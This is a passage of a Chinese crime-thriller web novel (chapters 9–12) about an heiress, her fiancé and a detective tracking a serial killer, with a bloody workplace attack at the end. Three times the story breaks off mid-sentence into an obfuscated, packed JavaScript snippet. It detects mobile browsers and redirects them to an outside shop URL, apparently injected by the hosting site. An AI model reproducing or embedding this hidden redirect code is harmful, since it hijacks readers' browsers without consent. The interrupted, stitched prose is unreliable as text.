女人一手扶着车头,另一手抱着文件,终于站起身,却躲过了倪泽熙想要搀扶的手——她微低着头,好像正在为自己的冒失道歉。 从头到尾,女人都没有抬头直视倪泽熙,脸色有点发白,看上去很慌张,说话间还看向车身,又左右看了看马路,生怕遗漏了什么。 倪泽熙又问了几句,随即侧身凑开两步,朝车轱辘扫去,接着看向司机,又说了一句什么。 司机立刻回到驾驶座,不等姚岚问就重新发动车子,向后倒退了几米。 倪泽熙就在这个时候弯下腰,从地上捡起两张文件纸。 上面清晰地印着轱辘印,他笑着用手弹了弹那些污渍。 女人见了连忙拿过来,并频频对他点头,嘴里不停地感谢。 直到女人转身小跑离开,倪泽熙才回到车上。 刚坐稳,他便说道:“是我公司的员工。她拿的副本是我上礼拜才批过的,不过她没认出我。” “这么巧。”姚岚笑了笑,“看来工作压力很大啊,过马路都心不在焉。” “你觉得不是巧合?”倪泽熙问。 “我觉得不重要,关键是你怎么看。” “嗯。”倪泽熙神色很淡,只扫向驾驶座,“今天的行程还有谁知道?” “去接姚小姐是临时决定的,应该没人知道。”司机像是突然想起什么,“哦,出来前刘副总来过,问倪总是回公司还是回家。” 倪泽熙依然在笑,笑容却浅了几分,微抬着下巴,眼皮落下半扇,自里面溢出一点凉意。 “美人计。”片刻后,倪泽熙吐出几个字评价,“真是一点长进都没有。” “计策不在老,好用就行。”姚岚声音很轻,“看来你有的要忙了。” 10. Chapter 9 Chapter9 倪泽熙的住处是开放式的西式别墅,放眼望去开阔的庭院、漾着水波的游泳池、随风飘舞的纱幔,以及四处忙碌的菲佣。 姚岚沿着游泳池边从主屋走向餐厅,倪泽熙原本慢她一步,不一会儿就有人从后面追上来,将一份东西交到他手里。 倪泽熙便在泳池边站定,目光透过墨镜落在那张纸上。 阳光自头顶洒下,水面映着波光,一阵阵微风徐徐,将他的外袍衣角掀起。 姚岚只向后看了一眼,便继续往前走。 虽然没看到是什么内容,却刚好瞥见一张三寸大小的照片,显然是一份人事档案。 而“付芳菲”三个字和照片里挂着拘谨笑容的脸,也在这一刻收入倪泽熙眼底。 他快速掠过下面的文字,不过寥寥数行就将这个女人的工作经历总结干净,可以说除了年龄和长相没有任何优势,起码倪泽熙看不到。 可既然没有其他价值,为什么刘副总还派她来? 自从他正式接管公司,像这样的偶遇没有一百次也有八十次。该不会是想用人海战术吧——博个概率,万一成了呢? …… 一阵阵饭香涌入餐厅。 坐在沙发区的姚岚,时不时将目光收回,看向开放式厨房里的挺拔背影。 倪泽熙半眯着眼,一手颠勺一手翻炒。 火苗向上蹿着,越过锅缘,和上下跳跃的美食一起飞舞。 直到最后一道菜端上桌,倪泽熙擦了手,将醒好的酒倒出来,这才瞥了眼电视问:“园区出事了?” 电视里正在播放案发现场的新闻报道,镜头刚好带向女死者,还在脸上打了马赛克。 姚岚走向餐桌:“看死者的长相和装束,像是本地人,死因暂时不知道。” 倪泽熙收回目光,只微微蹙眉,好一会儿都不说话。 姚岚吃了两口饭菜,问:“怎么了?” “有个事儿我心里没底……”倪泽熙先是笑,“还不知道该怎么说。” 姚岚歪了下头,直觉告诉她,倪泽熙的转变并不是因为刚才那则新闻:“你这种表情,是因为泽晟?” “我之前不是说他想学哲学吗?”倪泽熙神色缓和,“其实没有表面那么简单,不过当着其他人的面我不方便说。” “怎么?” “前几天我去了一趟他的工作室,他不在。原来那个地方都是一些画和雕塑,没什么特别。但这次去,整个感觉都变了。” 倪泽熙喝了口水,又道:“整个环境都很暗,原来的窗户堵死了一大半,还多了一间暗室,里面是还在冲洗的照片。我翻看了几张,全是血腥暴力的案发现场……” 安静了几秒,姚岚轻声问:“你该不是怀疑泽晟杀了人吧?” “不。”倪泽熙摇头,“其中有几张照片我有印象,那根本不是现在的案子,也不是在麦城。留学的时候,我在一个犯罪行为学的课上就看到过那几张的幻灯片,应该是泽晟从网上下载以后冲洗出来的。除了这些,他还买了很多犯罪相关的小说和犯罪现场分析的专业书……” 听到这里,姚岚忍不住问:“你是想说,泽晟开始对这种血腥暴力的东西感兴趣?可他为什么说要进修哲学?” “也许是为了让我放心。”倪泽熙说,“我去完他的工作室,第二天他就打电话告诉我。” “工作室有监控?” “嗯,安保系统是咱们一个老同学做的。” “也就是说,他没有跟你解释为什么会兴趣大变,而是用另一件事来让你释怀,你却更担心了。” “是啊,如果他解释或是什么都不说,我反而不会当回事。”倪泽熙道,“我也找人查过他这段时间的人际关系,也没有什么特别,都是认识很多年的熟人。” “所以你想让我跟他谈谈。” 倪泽熙叹了一声,似乎有些挫败:“我记得你们以前有很多话题可聊,特别是艺术这块。虽然我是他哥,可我感觉他更听你的。” “好。”姚岚没有丝毫犹豫,“找个时间我约他。” 倪泽熙松了口气:“多亏有你。” “小事儿。等我们聊完了再告诉你我的判断,如果只是虚惊一场,你要记得跟他示好。泽晟给我的感觉么,对人对事都高度敏感,灵性很强,但也很容易受伤。” “我知道。” 两人的对话刚准备告一段落,就被电视里突然响起的音乐声切断。 姚岚侧头看过去,园区的凶杀案新闻早已结束,不知道什么时候切到另一个针对近日“变态杀人狂”的专题报道。 主播在一旁神色凝重地进行案情陈述,旁边还端坐着犯罪心理专家,而左边的屏幕上正挂着一副凶手画像。 是的,只有画像,连张照片都没有。 凶手至今未被抓捕,就连画像都只是露出一双眼睛,下面半张脸全都被口罩遮住。 而画像的提供者,正是目前唯一一个侥幸从他手中逃脱的生还者,却也因为遭受重伤而成终身残废。 【真正冷血的人,既没有牵绊,也没有情感,更没有爱恨情仇。】 姚岚的目光始终盯着画像中那双眼睛,耳朵里听着播音腔,脑海中回荡的却是许立荣的话。 也不知道为什么,那双眼睛似乎透过画纸、透过屏幕,正精准地锁定她。 “岚岚?姚岚?” 有人在叫她的名字,越来越近。 姚岚轻轻眨了下眼,下一秒,就感觉到手背上轻轻落下一抹温度,有点痒,还带着细微的扎刺感。 她倏地醒过神,转头的瞬间,鼻尖刚好划过一片麻质布料,鼻腔里也流入一股独属于倪泽熙的淡冷香气。 眼皮上抬,对上的是那双关切的目光,瞳仁里倒影着她的剪影。 姚岚“哦”了一声,若无其事地笑:“我走神了,刚说到哪里了?” 倪泽熙也笑了,抬手探向她的额头,温热的掌心却贴上一片微凉的皮肤。 “我看你脸色不对,叫你也听不到。怎么这么凉?是不是冷气开得太足了?” “是有点冷,吃完饭我想出去晒会儿太阳。” “我陪你。” 倪泽熙拿起旁边的遥控器,将电视关上,黑掉的屏幕中映出两人的身影。 姚岚眨了下眼,目光落在电视柜上那个不起眼且有些老旧的跑车模型上,问:“你说到底是什么样的人,才会以杀人取乐呢?他心里究竟是怎么想的?” “不管怎么想,也不过就是个人,又不是怪物。”倪泽熙说着走回座位,笑道,“无非就是一双眼睛一双手,要吃饭要睡觉,有指纹有DNA,不会隐身也不会飞天遁地,早晚都会被抓住。” …… 数分钟后,园区外的树林里,一道身着灰色T恤和浅色牛仔裤的身影,正不紧不慢地踩过脚下的草丛和树叶。 王严云每走几步就停下来朝四处看看,直到发现痕迹才继续前进。 不知走了多久,他终于停下来,蹲下身,用戴着胶皮手套的手捡起一片树叶——上面的血迹已经干涸了。 他从腰包里掏出一个小塑料袋,将树叶装进袋子,遂站起身。 除了血迹,地上还有一些脚印,有的印在叶子上,有的则陷入泥土中。 王严云拍了几张照片便走出林子,一直来到马路边,先在马路牙子上磕了磕鞋底的泥,这才走向停在对面的越野车。 没想到刚到跟前,就从车子另一侧走出来一个女人。 王严云只看了她一眼就拉开驾驶座的门。 女人也不客气,直接坐上副驾驶座,边系安全带边问:“有收获?” 王严云将腰包解下来扔给她。 她接过来,从里面拿出塑料袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530173|202844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,随手放进自己的皮包里,又问:“照片呢?” “晚点传你。” 王严云将车驶上大路,女人也撑起自拍杆,拨了个视频电话。 手机屏幕照出两人的脸,一个专心开车,一个盯着屏幕,直到电话另一头出现姚岚的脸。 “怎么样?”此时的姚岚就靠在泳池边的躺椅上。 王严云盯着路面,说:“我估计运尸的人身高在175公分以上,力气很大。就脚印来判断,他中途没怎么歇过,几乎是一口气将尸体运到现场。” 几乎一口气? 从外面将尸体运到园区里,势必要经过大门,难道当时大门敞开着,而且没有任何阻拦? “那这人就是凶手吗?” “不一定,不过可能性很高。” 姚岚又将目光转向一旁的女人,只听她说:“死者叫袁青,学生,案发前和男朋友刚分手,又和家里大吵了一架,跑出来以后就一直没和家人联系。” 听到这里,镜头里姚岚的脸转向一边,也不知道在想什么。 直到副驾驶座上的女人开口:“姚小姐,我能不能问你一个问题?为什么你会断定这个案子和之前的变态凶手有关?” 至于是“哪个人”,姚岚和车里两人都不知道他的身份,甚至连长相也不清晰。就连警方也只是掌握了那张只露出一双眼睛的画像而已。 车内两人等了片刻,见姚岚迟迟不回答,王严云来了一句:“不会是直觉吧?” 姚岚不置可否地笑了:“除了这件事,再帮我查一个人——倪泽晟。” 王严云扫过来:“你未婚夫的弟弟,为什么?” “姚小姐怀疑他是凶手?”女人跟着问。 “这是两件事,只不过我同样好奇。”姚岚看向女人,“许垚,就你的新闻触觉,袁青的遇害有没有深挖的必要?” “可以试试。”许垚回道。 姚岚又笑着看向王严云,他瞬间读懂暗示:“行了,警局那边交给我。” …… 回到市区,许垚在半道下了车,王严云的车一路驶向侦查局分局。 这里不比大陆的办公环境,最外面的两个部门闹闹哄哄的,警员们有的在说笑,有的正在给报案人做记录。 王严云快步上了二楼,又穿过两道走廊,回到小组办公室。 一屁股坐进位子,办公椅也相应地发出“吱呀”一声。 王严云仰着头呼了口气,又端起旁边的杯子,将前一天剩下的咖啡倒进嘴里,停顿一秒,又朝旁边“呸”了一声,吐出沉在嘴里的渣子。 他正准备再续一杯,正巧鉴识科的同事从门口进来,见到他便将手里的档案递过来:“王哥,你的。” “谢了。”王严云接过,又端着空杯子回到位子上,翻开档案看了几眼。 照片里袁青死状安详,但表皮颜色更偏白。 根据表面的鉴定结果显示,她的后脑曾遭受重击,死因则是流血过多。 法医还在尸体上,分别找到三处被人放血的破口。 这个案子的难度在于,园区监控关闭,现场痕迹杂乱,最少能找到七、八个人留下的痕迹,而他们都是今天到过园区的工作人员和媒体。 至于这里面是否夹杂了其他陌生人的痕迹,还要等进一步比对鉴定。 如果没有夹杂,难道说今天到过现场人之中就没有凶手吗?不,有一种可能是,凶手就藏在中间,就借着参观或工作的名义堂而皇之地回到现场,欣赏自己的作品。 可以肯定的是,故意将尸体放血,还运到园区里摆成那样,凶手心里肯定不正常。 “起码‘变态’这一点,她的判断是对的。”王严云喃喃自语。 就在这时,小组办公室又走进来一个人:“王哥!” 王严云掀起眼皮,就听来人兴奋道:“抓到嫌疑人了!” 11. Chapter 10 Chapter10 听说这个“嫌疑人”就是女死者袁青的男朋友? 王严云跟着组员来到审讯室隔壁间,透过单向玻璃只扫了一眼,就双手环胸地退到一边,安静观望。 对面正在为自己辩解的男人,不禁大声叫道:“不是我,真的不是我!” 他不只是脸涨得通红,连脖子上都泛起青筋,因为太过激动,口抹都从嘴里喷了出来。 王严云打量着对方偏瘦的身材,以及有些皱巴衣裤,最后将目光落在那双鞋子上——非常干净,但不是新鞋,而是一直保持着擦鞋的习惯。 又听了一会儿审讯过程,王严云摇了下头,走出隔壁间。 组员跟出来:“怎么样,这次够迅速吧?估计上面知道了,都会吓一跳!” “他不是凶手。”王严云双手插袋,打了个哈欠,边走边说。 “不是吧?”组员解释道,“我们找到他的时候,他就在网吧,说自己刷了一夜,但根据记录,他是天亮以后才去的。他昨晚也没回过家,支支吾吾也不肯说到底去干嘛……” 王严云轻笑一声,正要回答,手机却进来一条消息,只有两个字:“出来。” 王严云叹了口气,只朝组员摆了下手就往外走,边走边拨通电话:“干什么?” “去现场。” “不去。我刚从那里回来,过车瘾呢?” 电话里的人慢条斯理道:“许立荣是你带队去抓捕的,如果不是你及时赶到,她已经偷渡跑了。可这件事的功劳却被你的上级抢走,难道你不希望拿回来吗?” “拿回来做什么,给我升职加薪。呵,我又不差钱,也不想出那个风头。” “是啊,你的上级在电视里到处演讲,如果换成是你,再被有心人盯上,也许过不了多久,你就能回去跟许应达作伴儿了。” “……” 话音落下,王严云已经走出侦查局大门,正脸色不善地瞪着停在路边的车,以及坐在副驾驶座上微笑示意的女人。 姚岚将贴在耳侧的手机放下来,摆了摆手:“你开车。” 王严云吐了口浊气,上车边发动引擎边说:“你知不知道,有些威胁说一次两次还管用,说多了就没意思了。” “不管说一百次还是一千次,有效就行了。”姚岚轻笑,“等什么时候你的经济罪在国内都抵消了,我到时候再换也不晚。” 王严云没好气道:“你不是应该在倪泽熙那里吗?不要告诉我,你是约会约到一半突然觉得没意思,才想到去案发现场找乐子。” 姚岚却没回答,只一手撑着头看着窗外街景。 王严云知道她的风格,无聊问题不答,买礼貌的问题不答,不想回答的也不答,于是他又换了个问题:“为什么你会认为杀害袁青的凶手,和之前的变态杀人魔有关?” 姚岚不太认真地回:“你之前不是替我回答过了吗——直觉。” “鬼才信。”王严云吐槽了一句,又问,“那这个事儿和你有什么关系?” “他是演员,我是观众。他的目标是我,每一场戏都是为了博我的关注。我不理他,他就会继续杀人。” “太自恋了。”王严云觉得好笑,“我承认,这几个案子都是姚氏企业的地界上发生的,但还有一种可能,它就是巧合。这么巧你们家在这里开疆拓土,又那么巧他和你有一样的眼光。只不过你是看中投资价值,而他看中的则是作为案发现场的可行性。再说,以你现在的地位,根本犯不上亲自沾手,肖越、许垚不都是得力干将吗?难道你根本不信任他们,还是说你不相信任何人?” 王严云自问自答地说了一大段,话落他朝旁边扫过去一眼,姚岚却连个眼神都没给,只一手捂着嘴打哈欠,另一手随意扇了扇,像是正在挥赶聒噪的耳旁风。 王严云也不在意,仿佛在跟空气说话一样:“不是我说,这瞎溜达的毛病你得改改,也难怪你爸和你大哥一直咬着你不放,真是有九条命都不够死。” “乌鸦嘴。”姚岚只拨了下头发,吐出三个字。 …… 转眼,两人已经来到园区外的小树林里。 虽然外面拉着警戒线,却形同虚设,连个负责看守的守卫都没有。 姚岚在车上就戴好鞋套手套,下了车就跟着王严云一路走进树林,两人刻意避开凶手留下的那串脚印。 王严云走在前面,说:“刚抓了一个嫌疑人,是袁青的男朋友,还是个业余摄影师。不过肯定是抓错了,我估计很快就会放出来。” “怎么讲?”姚岚问。 “他的鞋很干净。你看条小路上全是泥,不可能一点都没沾到——除非能证明他戴了鞋套,可看这鞋印又不像。还有,他的手臂一点肌肉都没有,而凶手能扛着尸体走几百米,这可不是一般的体力。” “在哪里抓的人?” “网吧,他说自己在那儿刷夜,实际上是早上才去,昨天晚上干了什么交待得不清楚,只知道他一宿没回家。也难怪怀疑他。” “搬运尸体可不轻松,忙了一宿的粗活儿,还有精力上网,不是应该找个地方睡一觉吗?” “还在他身上提取到女人的头发,只是还没做DNA,不好判断是不是死者的。哦,对了……” 王严云边说边点开手机,翻出照片发给姚岚:“这是袁青男友的脸书截图,他曾经说想杀了女朋友,再将她摆成这个姿势。” 姚岚点开一看,果然,除了几行看上去心理阴暗的文字臆想之外,还配了一张照片。 照片里的女人虽不是袁青,姿势却和袁青被发现时一样:头发拢在一侧,垂在身前,一袭连身裙柔顺服帖,双手就垂落在身体两侧。 不,不一样。 或者说,是不完全一样。 姚岚抬眼:“手势不一致。” 手势? 王严云将照片放大,又仔细看了看,刚想说点什么,姚岚已经迈开步子,朝小路尽头走去。 王严云箭步跟上:“尸体从车道上运过来,凶手肯定是开了车。从这条道进园区的偏门,最近也最隐蔽。他很熟悉这附近的地形,指不定原来就是园区里的人。” “如果是,他运气倒是不错。”姚岚接道,“麦城军方的行动提前没漏过一点风,封锁园区那天他居然躲过了。” “呵,这世上哪有不透风的墙。” “如果能提前收到风,那绝不是一般人。” “杀了这么多人,手段又这么凶残,本来也不是一般人。” 听到这话,姚岚站住脚。 王严云又落下一句:“其实你早就猜到他的身份了?” “我不确定,只知道这个人非富即贵,有背景,也有帮手。”姚岚神色很淡,“我代表姚氏收购的每一块地方都没有对外开放,有的上过新闻,有的根本没公布过。可他不仅能精准找到,还因为各种各样的原因躲过监控,连具体痕迹都捕捉不到。哪怕漏了一个幸存者,也只是看到他的眼睛。” 王严云敛了眉眼,斜靠着树干问:“你们观光园区的路线规划,都有谁知道?” 能提前将尸体放在上车点,绝不可能是巧合,而且那个位置距离偏门最近。显然是凶手提前就找好一条最近的路。 “很多人都知道。”姚岚说,“收购园区之后这里就一直对外开放,还和国内的旅行社签了观光协议,仅这个月就接待了十几波旅行团。路线都是一样的,没有刻意为我更改。” “就是说只要他随便跟个团进来走一圈,就能模拟出你今天的行程?” “差不多。” “可万一你要是不来呢?万一你突发奇想,临时换了条路呢?” “不可能。” “为什么?” “这里我一直都想回来看看。” 王严云明显一愣,眼神中晃过一丝愕然:“你该不是告诉我,那个凶手也知道你小时候的遭遇吧?” 停顿两秒,他又像是意识到什么似的:“等等,等等……不会吧?” 王严云缓了一会儿,像是被灵光劈中一般,眼神古怪地盯着姚岚:“你先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532963|202844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回答我,你的‘直觉’还告诉你什么?” “算上这次,就我知道的他已经杀了五个人,而且离我越来越近。” 话虽这样说,姚岚看上去却异常平静:“前面四个现场,我并没有直接接触,身边总有人拦着,我只需要等其他人看完了再回来汇报。所以这一次,他改变了手法,也不再满足于只是‘擦肩而过’——他想看我的第一反应,也是借这个机会告诉我,他随时都能靠近我。” “我去。”王严云努了努嘴,本想说一句“你会不会想太多了”,却怎么都说不出口。 半晌过去,王严云才问:“不会又是那爷俩吧?从哪儿找的变态,本事还挺大。” “不像。”姚岚摇头低语,“这么迂回,不是他们的风格。” “怎么说呢,之前那几次都是明枪,还好说。这回玩得这么阴……说句不吉利的,你晚上可得睁一只眼睡觉。” 姚岚只扫了他一眼,又往前走了几步,将话题拉回现场:“除了脚印和血迹,还发现什么?” 王严云回道:“哦,就在前面快到门口的草丛里,鉴识科找到一个用过的502——就是这里。” 两人来到草丛前,当然,这里除了残缺不全的杂草和被挖去一块的泥土,已经什么都没有了。 王严云从手机里翻出照片,示意姚岚。 照片里不仅拍到整块草丛,其中还有一个捏扁的502软管,盖子不翼而飞,从开口溢出来一滩白色的胶水,沾着杂草叶,还盖住了一小块土。 “他用胶水做什么?” “往后翻。” 姚岚在手机上划了几下,目光很快定格在一张照片上。 那是女死者袁青的手部特写,大拇指和无名指紧紧粘在一起,中间还有一些干涸的白色物质。 “这一点我还没想明白,将两根手指黏在一起到底想说明什么?”王严云自言自语道。 不想下一秒,就听到姚岚轻而笃定的回答:“是莲花指。” “什……”王严云嗤笑,“难道凶手信佛?信佛还杀生。” “两者又不冲突,有很多犯过杀生罪人都信佛。一个人有可能天天拜佛诵经,同时杀人,这两者因果会同时存在。” “要是往宗教信仰上聊,我可就迷糊了,总觉得哪里不太对……” 王严云沉吟了几句,却见姚岚越过他往大门里走。 直到两人一前一后来到发现尸体的水渠边,姚岚停下来,盯着水沟里的痕迹问:“你们有没有查过袁青的信仰?” 王严云先是顿住,遂快速用手机发了条信息。 不过片刻,就有人回:“刚问过袁青家人,他们全家原来都是佛教徒。” “原来?” “是,三个月前就突然不信了,说是因为被本地一个‘活佛’骗了不少钱。” 就在这个时候,姚岚的手机震动起来。 她扫了一眼来电显示,接起来问:“喂,怎么了?” 倪泽熙的带笑的声音传来:“只是提醒你别睡过头,该起了。对了,我看你睡得香,刚好接到电话,要回公司一趟。” “还是闲不下来啊。”姚岚扫向王严云举向他的手机,刚好看到上面的回复,嘴里说道,“我也准备去忙了,晚点联系。” “好,这几天太热了,多喝水,注意休息。” “你也是。” …… 另一边,电话刚切断,倪泽熙便换上另一副神情,眉目冷淡,眼中不见一丝温度。 一行人步子未停,径直走进电梯,一路上了十三楼。 刚走出电梯门,就听到业务部里传来的欢呼声,像是正在庆祝什么,甚至还有开香槟的声音。 倪泽熙在门口停下,望着相隔十几步远的业务骨干们,他身后的助手、秘书就像是左右门神,同样的面无表情,谁都没有出声。 “这次干得漂亮,每个人都有红包!”刘副总被人群簇拥着,一手搂着一个身着职业装的年轻女人,另一手端着香槟杯,“诸位辛苦了,我先干为敬!” 12. Chapter 11 Chapter11 一群人沉浸在胜利的喜悦中,飘得忘乎所以。 大约过了半分多钟,才有人感觉到后背凉凉的,下意识回头看了一眼,差点吓走半条命。 他又连忙推了推旁边的同事,就这样一个拽一个,直到消息传递到刘副总耳边。 “倪总来了……” 刘副总的表情有一瞬间的不悦,挑衅的眼神在转身时却又切换成笑意:“呦,小熙啊,什么时候来的?快,再拿个杯子,给倪总倒上!” 刘副总脚下不稳地走向倪泽熙,倪泽熙原本冰封的面容也裂开了一道缝隙,像是有阳光溢出,笑容出现得恰到好处。 眼瞅着刘副总就要摔倒了,倪泽熙半步上前,一手稳稳托住他,另一手接过香槟杯,转手递给秘书。 刘副总正要说什么,握着他胳膊的那只手却用力一掐。 “喝这么多,老人味都要溢出来了,真令人恶心。” 这道声音极轻,伴随着说话人的气息自耳边拂过。 刘副总摇晃的身躯先是一顿,迷离的眼睛瞬间张开,缓慢转过头,对上那抹温润的笑容和深不见底的眼眸。 “你……” 倪泽熙轻眨了一下眼,直起身,对业务部员工说:“先送刘叔去休息室。” “是、是!” 刘副总被两人搀扶走的时候脚下还在打晃,又侧头朝后面看一眼,只听到倪泽熙这样说:“这次的项目多亏各位,辛苦了。分红一定不会让大家失望。” 众人忙不迭地附和:“不辛苦,应该的……” 业务部经理亦步亦趋地送倪泽熙到电梯前,不停地轻着嗓子、说着废话,事实上只是为了试探倪泽熙的态度。 倪泽熙面朝着电梯门,声音浅淡:“我记得你原来是刘副总的下属。” “额,是在他手下干过几年……”业务部经理擦了擦额头的汗,已经因此已经想到最坏的结果。 谁不知道刘副总对倪泽熙坐上这个位子颇有意见,明里暗里从不遮掩,好像生怕别人不知道一样。 乍一看,还以为是刘副总心无城府,实则是过于狂妄,仗着自己功劳大,又是长辈,时常不给倪泽熙面子。 业务部经理小心翼翼望着倪泽熙的侧脸,可他始终低垂眉眼,神色难辨。 “叮”的一声,电梯来了。 倪泽熙抬脚的同时,只撂下这三个字:“好好干。” 一个小时后,就在十六楼休闲区的雪茄房里,临时召开了一个高层会议。 形式上并不算正式,但今天在公司的所有股东都来了,唯独少了刘副总。 其中一个身材微胖的高层率先开口:“听说许应达在被抓之前藏起来一份东西,你们有谁知道是什么?” “这得问他自己啊。不过这东西分量肯定不轻,好像到现在都没吐口。” “反正外面有好几个人都在找这个东西,可他大哥、大嫂已经死了,你们说这事儿还能有谁知道?” “不好说,依我看最好不要好奇。他大哥、大嫂死得也太巧了,警方却说是意外,你们谁信?” 几位“大佬”闲聊了片刻,也没聊出所以然,又不约而同地看向好一会儿不曾言语的倪泽熙。 倪泽熙没有点雪茄,手里只端着半杯酒。 雪茄房里烟雾弥漫,他就坐在中间,袅袅烟雾将他包裹其中,连五官棱角也被修饰得柔和了,却也多了几分疏离。 感受到众人的目光,倪泽熙这才抬眼,似笑非笑地问:“我只听说,刘副总和许应达有些私交,也不知道这消息来源可不可靠?” “哦,确实是这么回事。好像他们还是发小?” “我也听说了。不过这几年也没见老刘和许应达有什么往来啊?前年许应达那个生日宴搞得那么大排场,老刘都没去……是不是早就闹掰了?” “可我怎么觉得像是避嫌啊?就那个岛的事儿,你们都听说过吧?老刘和许应达还一起上去过。” “这周边海域有几十个岛,你说的是哪一个?” “装傻是吧。” “这怎么叫装傻呢,你倒是说清楚啊!” “呵,我就不相信在座各位有人会不眼馋。这里谁不想回春啊?” 说到这,又话音一顿,转向倪泽熙:“当然,像是倪总这样年少有为、英伟不凡的人物,肯定是不需要了。” 倪泽熙眼里带笑,语气中也有几分好奇:“叔伯们说的是什么岛?” 众人你看看我,我看看你,直到其中一人干笑两声:“害,说出来也不怕你笑话,就是……” 只是这话还没落定,倪泽熙的手机就响了。 他看了一眼来电显示,接起时还顺手点开免提。 一时间,雪茄房里就只有助手的声音:“倪总,我们到处都找不到刘副总。后来听业务部的人说,一个小时前就将刘副总送到十六楼的休息室了。” 十六楼? 所有人都盯着手机。 有人追问:“你说的是哪一间?我们都在十六楼啊!” “就是雪茄房里面那间。” 那不就是这里?! “嘿,你个老刘,躲在屋里偷听是吧?瞧我怎么修理你。”刚才挑起岛屿话题的股东立马拍着扶手站起身,几个箭步就冲到身后不远处的门前。 他先是用力拍了几下,又喊:“老刘,开门,我们都知道你在里面!” 手机已经被倪泽熙挂断,他右手边的副总小声问:“这是唱得哪出啊……” 倪泽熙同样低声解释,语气带了一丝无奈:“先前刘叔在业务部多喝了几杯,有点上头。” “这老刘。” 正在拍门的股东是个急性子,见刘副总半晌不回应,便用力去掰门把手,直到雪茄房的正门被人推开,助手拿着钥匙快步上前。 股东让到一旁,还准备着等门开了就发难,不想门刚被助手拉开,就有个重物顺势倒了出来,还一下子压到他脚上。 再低头一看,吓得他连忙往后退了一步,接着一屁股坐了下去。 “啊!” 听到股东的叫声,原本正在说笑的倪泽熙,只微微侧了下身,朝后方看去。 “这……这是怎么了……”有高层问。 可跌坐在地的股东却半天吐不出一个字,只是本能地撑着地面往后退。 众人纷纷起身。 助手似乎也受到惊吓,一边要去搀股东一边看向其中个子最高的男人。 “倪、倪总……刘副总他……” …… 事情发生得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535111|202844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太过突然,十六层闻声而至的员工们全都挤在门口,而雪茄房内早已经乱成一团, 助手已经拨打了急救电话,公司配备的医护人员也在第一时间冲上来。然而眼前的场景却远远超出他们的预计。 刘副总身上有多处伤口,不仅深而且锋利,有几道正在往外冒血。 他身上的衬衫西装早就被血侵染渗透,再扯开这些湿漉漉的布料一看,胸前和腹部的伤口中还扎着两块三、四公分大小的碎玻璃。 公司的医生哪见过这样的阵仗,只能和护士一起手忙脚乱地将碎玻璃择出去,再给几处比较严重的伤口进行止血包扎。 可这样一套组合拳下来,效果却并不好。 旁边的股东忍不住叫着:“我说你到底是不是医生啊,止个血都不会!谁把你招进来的?!” 医生试图解释,声音抖得如筛糠:他能做的都做了,而且公司配备的急救箱就这么些东西,刘副总的伤势也远远超过日常救助的标准。 “真是废物!”股东骂了一句,又问助手,“救护车怎么还没到!” “是啊,快去催催!” 几位高层全都束手无策,有的连站的力气都没有,还有的从兜里摸出药瓶,赶紧倒一颗服下。 站在吧台边的倪泽熙,手指在台面轻轻敲了两下,说:“不管怎么说,你只管尽力救人。” “可,可是……” 万一没救回来呢?万一最终结果是,因为初期的救治不当,导致伤者错过了被救助的最佳时机怎么办? 直到倪泽熙再度开口,音量足以让这里每个人都听到:“瞻前顾后,只会影响你的专业判断。只要不是身为医护人员故意见死不救,就不会触犯法律。至于结果如何,这里所有人都能做见证,公司不会追究。” 医生终于松了口气,一边点头一边开始新一轮的救助。 可不到几分钟,又遇到新的难题。 “快,再去拿些纱布,还有止血绷带!” 护士刚要起身,这时就从人群中响起一道清脆的声音。 “我这里有!” 众人齐刷刷看过去,挡在门口的员工们也纷纷让开通道,正好见到一个年轻女人抱着急救箱冲了进来。 她没有将急救箱交给任何人,而是跑到跟前扑通一声跪了下去,也不顾现场的凌乱和地上的血,边打开箱子边医生说:“我也学过急救,我可以帮忙!” 医护的压力似乎因为这句话缓解了些许,几人很快合作起来。 现场所有人的情绪也都被提了上去,被挡在后面员工试图站得更高,想要看清楚里面的情景,而站在前方的,紧张之余还不忘拿出手机抓拍现场。 助手发现了,立刻制止,并小声对众人说:“拍照的都给我删了,这里的事儿都不能传出去,否则后果自负。” 这番动静似乎并没有干扰到倪泽熙,他的站姿始终不变,凝聚的目光全然没有理会过周围几个焦躁的高管,只在忙碌的医护身上环顾一圈,最终才落在那个女人的背上。 不知过了多久,门口终于有人喊道:“救护员来了!” 屋里众人同时松了口气,公司的医护士也连忙起身。 那始终背对着门口的女人也在这时让到一旁,不想一抬眼,就对上倪泽熙的眼睛。 13. Chapter 12 Chapter12 园区外不知何时多了一辆黑色轿车,肖越和司机就等在车边。 王严云问:“你还有别的事?” 